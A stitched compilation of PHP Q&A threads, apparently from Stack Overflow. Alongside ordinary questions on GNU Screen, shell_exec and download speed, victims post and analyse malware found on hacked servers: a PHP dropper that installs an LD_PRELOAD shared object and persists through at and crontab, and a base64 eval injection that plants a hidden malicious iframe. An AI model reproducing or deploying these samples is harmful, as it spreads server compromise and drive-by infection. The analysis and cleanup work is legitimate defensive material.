How do i get the terminal text from a GNU Screen session in PHP? I am puzzled because GitHub CoPilot suggest i can do
function getTerminalTextFromGnuScreen(string $screenName): string
{
$screenText = shell_exec("screen -S " . escapeshellarg($screenName) . " -X hardcopy -h");
return $screenText;
}
but that does not actually get me anything, just emptystring.
I came up with a much more complex, convoluted, and dodgy implementation, which works, but i hope, as CoPilot suggest, that there is a much easier way to do this, hence asking here: how should it be done? my dodgy implementation:
function getTerminalTextFromGnuScreenDodgy(string $screenName, bool $skipTerminalSizeControlCharacters = true): string
{
// the double escapeshellarg is intentional.
$cmd = 'script --command ' . escapeshellarg('screen -x -r ' . escapeshellarg($screenName)) . ' /dev/null ';
$proc = proc_open($cmd, [['pipe', 'rb'], ['pipe', 'wb'], ['pipe', 'wb']], $pipes);
stream_set_blocking($pipes[1], true);
fgets($pipes[1]); // skip "Script started, output log file is '/dev/null'." line
$ret = '';
if ($skipTerminalSizeControlCharacters) {
$ret = fgets($pipes[1]); // contains terminal size characters
$lastControlCharacter = strrpos($ret, "\x1b"); // THIS IS NOT 100% RELIABLE, and i don't know how to make it reliable either :(
$ret = substr($ret, $lastControlCharacter + strlen("\x1b[2J")); // skip terminal size characters
}
stream_set_blocking($pipes[1], false);
for (;;) {
$r = [$pipes[1]];
$w = $e = null;
$sel = stream_select($r, $w, $e, 0, 10000);
$tmp = stream_get_contents($pipes[1]);
if ($tmp === false || $tmp === '') {
break;
}
$ret .= $tmp;
}
fclose($pipes[1]);
// send ctrl+AD... why is \x01 equivalent to ctrl+AD? i have no idea! but it seems to work
fwrite($pipes[0], "\x01");
fclose($pipes[0]);
fclose($pipes[2]); // contains a "script: write error" message.. no idea why.
proc_close($proc);
return $ret;
}
so much wasted effort.. the answer is indeed -X hardcopy, but the the code refuse to writes to both stdout and /dev/stdout, and if you tell it to write to the filename - which traditionally means stdout, it will write to ./-, and if no file is given it default to the filename "hardcopy.n" -
Why? I have no idea, but regardless, use tmpfile() to get a output file for -X hardcopy:
function getTerminalTextFromGnuScreen(string $screenName)
{
$tmph = tmpfile();
$tmpf = stream_get_meta_data($tmph)['uri'];
shell_exec("screen -S " . escapeshellarg($screenName) . " -X hardcopy " . escapeshellarg($tmpf));
$screenText = file_get_contents($tmpf);
fclose($tmph);
return $screenText;
}
don't know why CoPilot added the -h argument, but the documentation over at https://www.gnu.org/software/screen/manual/screen.html says
‘-h num’
Set the history scrollback buffer to be num lines high. Equivalent to the defscrollback command (see Copy).
So I have been hacked a while ago and now I have a weird PHP file in my file manager. This is the content of it:
<?php
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
#system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
$n = file_put_contents("./jquery.so", $so);
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
#system("./1.sh");
#unlink("1.sh");
?>
Ofcourse, I delete it. But what did it? Are there more files infected?
I understand that it is checking if the system is a 32bit system or 64bit, then it creates 1.sh and executes it but what then?
Full code: http://pastebin.com/hejkuQtV
I tried to analyze the code. Have a look at this and check my comments regarding the shell script "1.sh". In my opinion deleting the PHP script would not be sufficient.
<?php
//probably the attacker wants to check that the script works.
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
#system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
#system("./1.sh");
#unlink("1.sh");
?>
Here's a little more info. First, we can use this code to generate the ".so" file.
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
At this point, we have the same shared object that the attacker loaded before running "host". Using "strings" command:
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?#ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
As you can see, his hack seems to be using lots of functions including him doing a POST request somewhere. It's not possible of course to figure it out from the above but gives you some clue.
If you want to take this further, you can look into and ELF decompiler. But I doubt that you will be able to reach anything conclusive. I am not an expert, but my advise is to keep on monitoring your network activity for anything out of the ordinary.
The "file" command gives you a bit of information about the file - hence ELF decomplier.
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
I have a very simple PHP script that calls shell_exec to start a 3rd party application.
No matter what application I try to run (including notepad.exe),
if the script contains the call to shell_exec, the script is called multiple times,
if the script doesn't contain this call, it runs just once.
I can provide any source code needed, let me know what do you want to see, I just absolutely don't know where to look.
Windows 2008 R2, PHP 5.5.1, IIS 7.5, Amazon EC2 server
And no, there isn't any loop inside the script, because I have placed
file_put_contents('log.txt', $_SERVER['REQUEST_URI'], FILE_APPEND);
as the first script row and I can see it written multiple times in the log.
EDIT:
It doesn't happen on my local host. And it happens with exec also.
PHP script stripped down to bare minimum:
<?php
//Report any errors
ini_set("MAX_EXECUTION_TIME", "-1");
ini_set('max_input_time', -1);
ini_set ("display_errors", "1");
error_reporting(E_ALL);
require_once('PhpConsole.php');
PhpConsole::start(true, true, dirname(__FILE__));
function writeLog($content, $logname)
{
$temp = $content ." at " .date("D M j G:i:s T Y") ."\r\n";
$f = fopen($logname, 'a+');
fwrite($f,$temp,strlen($temp));
fclose($f);
}
function createBackground()
{
//Set the correct content type
header('content-type: image/png');
//Create our basic image stream 225px width, 225px height
$image1 = imagecreate(1362, 762);
// Set the background color
$white = imagecolorallocate($image1, 255, 255, 255);
// Save the image as a png and output
imagepng($image1, "saves/back.png");
// Clear up memory used
imagedestroy($image1);
}
function buildFramesSequence()
{
array_map('unlink', glob("saves/*"));
array_map('unlink', glob("*.mp4"));
unlink("list.txt");
$url = realpath('') ."/" .$_GET["jfile"] ;
$contents = file_get_contents($url);
$results = json_decode($contents, true);
$noOfFrames = count( $results['ani']);
$lastframe = "saves/back.png";
createBackground();
$elements = createElements($results['pre']);
$frame_elements = array();
$prev_element = null;
for ($i = 0; $i <$noOfFrames; $i++)
{
$format = 'image%1$05d.png';
$imgname = sprintf($format, $i);
copy($lastframe, "saves/" .$imgname);
}
}
function createVideo()
{
writeLog("before build", "log.txt");
buildFramesSequence();
writeLog("after build", "log.txt");
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$localpath1 = realpath('') ."/ffmpeg/ffmpeg.exe";
} else {
$localpath1 = "ffmpeg";
}
$localpath2 = realpath('') ."/saves/image%05d.png";
$mp3name = $_GET["mfile"];
$localpath3 = realpath('') ."/" .$mp3name;
$temp = substr($mp3name, 0, -1);
$localpath4 = realpath('') ."/" .$temp ."4";
writeLog(" before ffmpeg", "log.txt");
$output = shell_exec("notepad.exe");
// $output = shell_exec("ffmpeg $localpath1 .' -f image2 -r 20 -i ' .$localpath2 .' -i ' .$localpath3 .' -force_fps ' .$localpath4. ' 2>&1 &');
// exec("notepad.exe", $output = array());
// debug($output);
writeLog($localpath4, "list.txt");
return $output;
}
file_put_contents('log.txt', $_SERVER['REQUEST_URI'], FILE_APPEND);
set_time_limit(0);
$output = createVideo();
echo $output;
?>
This is a very strange issue that still happens to this day with exec() system() shell_exec() etc. If your command creates a file the quickest solution is to check whether that file exists, like so:
[ -f path/file.mp4 ] || #Your command here#
This checks whether the file path/file.mp4 exists, if not, the second condition runs, which is your command. To check the opposite use the ampersand, like so:
[ -f path/file.mp3 ] && #Command here#
I'm not sure if anyone is still having problems with this, but maybe yours is the same issues that I just had. I was creating a file with exec, and appending a datetime stamp to it.
I was ending up with 5 files. Turns out, because I was redirecting all calls to my index.php thru htaccess, then when I had some images that were directing to relative path assets/images/image.jpg, then it would redirect that thru my index page and call my script multiple times. I had to add a slash to the image path: /assets/images/image.jpg.
Hope this help someone.
Here is what I'm planning: My webpage is a simple filesharing system. I would like to show the download speed for the user. It is not 100%, but it's relative good. And i would like to write the time for downloading... example: your download speed is 300kb/s, you can download this file in 7 seconds..
I have got 2 PHP files.
Alfa file do this:
ob_start();
require 'speedtest.php';
$sebesseg = ob_get_clean();
This is simple. I get only one number from the speedtest.php
My problem is:
I have a variable: (int)$size = 1;
I would like to do his: $time_left = $size / $sebesseg;
$sebesseg means speed. Download speed in bytes. But I can't use settype, or (int)$sebesseg .. or anything I already know, 'cos it wrotes me an empty variable.. :-(
How can I solve this?
ob_get_clean() will return a string. To obtain the number of bytes write
$sebesseg = ob_get_clean();
$numberOfBytes = strlen($sebesseg);
After reading your last comment, I've preapred a short example how a simple download speed measurement script can be done with PHP. The following code should do what you want:
<?php
// get the start time as UNIX timestamp (in millis, as float)
$tstart = microtime(TRUE);
// start outout buffering
ob_start();
// display your page
include 'some-page.php';
// get the number of bytes in buffer
$bytesWritten = ob_get_length();
// flush the buffer
ob_end_flush();
// how long did the output take?
$time = microtime(TRUE) - $tstart;
// convert to bytes per second
$bytesPerSecond = $bytesWritten / $time;
// print the download speed
printf('<br/>You\'ve downloaded %s in %s seconds',
humanReadable($bytesWritten), $time);
printf('<br/>Your download speed was: %s/s',
humanReadable($bytesPerSecond));
/**
* This function is from stackoverflow. I just changed the name
*
* http://stackoverflow.com/questions/2510434/php-format-bytes-to-kilobytes-megabytes-gigabytes
*/
function humanReadable($bytes, $precision = 2) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
// Uncomment one of the following alternatives
//$bytes /= pow(1024, $pow);
$bytes /= (1 << (10 * $pow));
return round($bytes, $precision) . ' ' . $units[$pow];
}
Note that the real download speed can only measured at the client. But the results from the code above should be approximately ok.
Also it would just measure the download size of the HTML page itself. Images. styles and javascripts will extend the real download size of page load. But the speed should be in most cases the same the HTML document.
use function stream_notification_callback()
Example:
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
switch($notification_code) {
case STREAM_NOTIFY_RESOLVE:
case STREAM_NOTIFY_AUTH_REQUIRED:
case STREAM_NOTIFY_COMPLETED:
case STREAM_NOTIFY_FAILURE:
case STREAM_NOTIFY_AUTH_RESULT:
var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
/* Ignore */
break;
case STREAM_NOTIFY_REDIRECTED:
echo "Being redirected to: ", $message;
break;
case STREAM_NOTIFY_CONNECT:
echo "Connected...";
break;
case STREAM_NOTIFY_FILE_SIZE_IS:
echo "Got the filesize: ", $bytes_max;
break;
case STREAM_NOTIFY_MIME_TYPE_IS:
echo "Found the mime-type: ", $message;
break;
case STREAM_NOTIFY_PROGRESS:
echo "Made some progress, downloaded ", $bytes_transferred, " so far";
break;
}
echo "\n";
}
$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));
file_get_contents("http://php.net/contact", false, $ctx);
My site (very large community website) was recently infected with a virus. Every index.php file was changed so that the opening php tag of these files it was changed to the following line:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
When I decoded this, it produced the following PHP code:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
I've tried several things to clean the virus even restoring from a backup and the files get re-infected after a few minutes or hours. So can you please help me?
What do you know about this virus?
Is there a known security hole it uses to install and propagate?
What does the above php code actually does?
What does the page it embeds in the iframe does?
And of course more importantly: What can i do to get rid of it?
Please help, we have been almost run out of ideas and hope :(
UPDATE1
Some more details: A weird thing is: When we first checked the infected files. They were changed but their modified time in the ftp program was showing last access to be days, months or even years ago in some cases! How is this even possible? It drives me crazy!
UPDATE 2
I think the problem initiated after a user installed a plugin in his Wordpress installation. After restoring from backup and completely deleting the Wordpress folder and the associated db the problem seems gone. We have currently subscribed to a security service and they are investigating the issue just to be sure the hack is gone for good. Thanks for anyone who replied.
Steps to recover and disinfect your site (provided you have a known good backup).
1) Shutdown the Site
You need to basically close the door to your site before you do your remedial work. This will prevent visitors getting malicious code, seeing error messages, etc. Just good practice.
You should be able to do this by putting the following into your .htaccess file in the webroot. (Replace "!!Your IP Address Here!!" with your own IP address - see http://icanhazip.com if you don't know your IP address.)
order deny,allow
deny from all
allow from !!Your IP Address Here!!
2) Download a Copy of All of your Files from the Server
Download everything into a separate folder from your good backups. This may take a while (dependent on your site size, connection speed, etc).
3) Download and Install a File/Folder Comparison Utility
On a Windows machine, you can use WinMerge - http://winmerge.org/ - it's free and quite powerful.
On a MacOS machine, check out the list of possible alternates from Alternative.to
4) Run the File/Folder Comparison Utility
You should end up with a few different results:
Files are Identical - The current file is the same as your backup, and so is unaffected.
File on Left/Right Side Only - That file either only exists in the backup (and may have been deleted from the server), or only exists on the server (and may have been injected/created by the hacker).
File is Different - The file on the server is not the same as the one in the backup, so it may have been modified by you (to configure it for the server) or by the hacker (to inject code).
5) Resolve the Differences
(a.k.a "Why can't we all just get along?")
For Files which are Identical, no further action is required.
For Files which Exist on One Side Only, look at the file and figure out whether they are legitimate (ie user uploads which should be there, additional files you may have added, etc.)
For Files which are Different, look at the file (the File Difference Utility may even show you which lines have been added/modified/removed) and see whether the server version is valid. Overwrite (with the backed-up version) any files which contain malicious code.
6) Review your Security Precautions
Whether this is as simple as changing your FTP/cPanel Passwords, or reviewing your use of external/uncontrolled resources (as you mention you are performing alot of fgets, fopens, etc. you may want to check the parameters being passed to them as that is a way to make scripts pull in malicious code), etc.
7) Check the Site Works
Take the opportunity of being the only person looking at the site to make sure that everything is still operating as expected, after the infected files are corrected and malicious files have been removed.
8) Open the Doors
Reverse the changes made in the .htaccess file in Step 1. Watch carefully. Keep an eye on your visitor and error logs to see if anyone tries to trigger the removed malicious files, etc.
9) Consider Automated Detection Methods
There are a few solutions, allowing for you to have an automated check performed on your host (using a CRON job) which will detect and detail any changes which occur. Some are a bit verbose (you will get an email for each and every file changed), but you should be able to adapt them to your needs:
Tripwire - a PHP script to detect and report new, deleted or modified files
Shell script to monitor file changes
How to detect if your webserver is hacked and get alerted
10) Have Scheduled Backups, and Retain a Good Bracket
Make sure you have scheduled backups performed on your website, keep a few of them, so you have different steps you can go back in time, if necessary. For instance, if you performed weekly backups, you might want to keep the following:
4 x Weekly Backups
4 x Monthly Backups (you retain one of the Weekly Backups, maybe the first week of the month, as the Monthly Backup)
These will always make life easier if you have someone attack your site with something a bit more destructive than a code injection attack.
Oh, and ensure you backup your databases too - with alot of sites being based on CMSes, having the files is nice, but if you lose/corrupt the database behind them, well, the backups are basically useless.
I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:
To decode the encrypted php script on each php file use this:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
And formatting the result using this guy:
http://beta.phpformatter.com/
To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.
I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use:
code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree
import os
import re
import sys
def try_to_replace(fname):
if replace_extensions:
return fname.lower().endswith(".php")
return True
def file_replace(fname, pat, s_after):
# first, see if the pattern is even in the file.
with open(fname) as f:
if not any(re.search(pat, line) for line in f):
return # pattern does not occur in file so we are done.
# pattern is in the file, so perform replace operation.
with open(fname) as f:
out_fname = fname + ".tmp"
out = open(out_fname, "w")
for line in f:
out.write(re.sub(pat, s_after, line))
out.close()
os.rename(out_fname, fname)
def mass_replace(dir_name, s_before, s_after):
pat = re.compile(s_before)
for dirpath, dirnames, filenames in os.walk(dir_name):
for fname in filenames:
if try_to_replace(fname):
print "cleaning: " + fname
fullname = os.path.join(dirpath, fname)
file_replace(fullname, pat, s_after)
if len(sys.argv) != 2:
u = "Usage: rescue.py <dir_name>\n"
sys.stderr.write(u)
sys.exit(1)
mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")
to use type
python rescue.py rootfolder
This is what the malicious script was trying to do:
<?php
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
